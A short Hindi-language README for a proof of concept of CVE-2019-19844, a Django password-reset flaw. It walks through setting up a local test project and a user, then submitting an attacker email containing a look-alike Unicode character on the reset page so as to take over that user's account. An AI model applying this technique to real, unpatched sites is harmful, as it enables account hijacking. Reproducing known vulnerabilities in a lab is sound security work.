
CVE-2019-19844 के लिए PoC ( https://www.djangoproject.com/weblog/2019/dec/18/security-releases/ )
CVE-2019-19844 के लिए PoC
django_cve_2019_19844_poc)DJANGO_DATABASE_NAME(जैसे export DJANGO_DATABASE_NAME=django_cve_2019_19844_poc) में सेट करेंpip install -r requirements.txt && ./manage.py migrate --noinput चलाएँshell कमांड के साथ निम्नलिखित उपयोगकर्ता बनाएँ:>>> from django.contrib.auth import get_user_model
>>> User = get_user_model()
>>> User.objects.create_user('mike123', '[email protected]', 'test123')
./manage.py runserver चलाएँhttp://127.0.0.1:8000/accounts/password-reset/ खोलेंmı[email protected] (हमलावर का ईमेल) दर्ज करें, और भेजें बटन पर क्लिक करेंmike123 उपयोगकर्ता के रूप में लॉगिन करें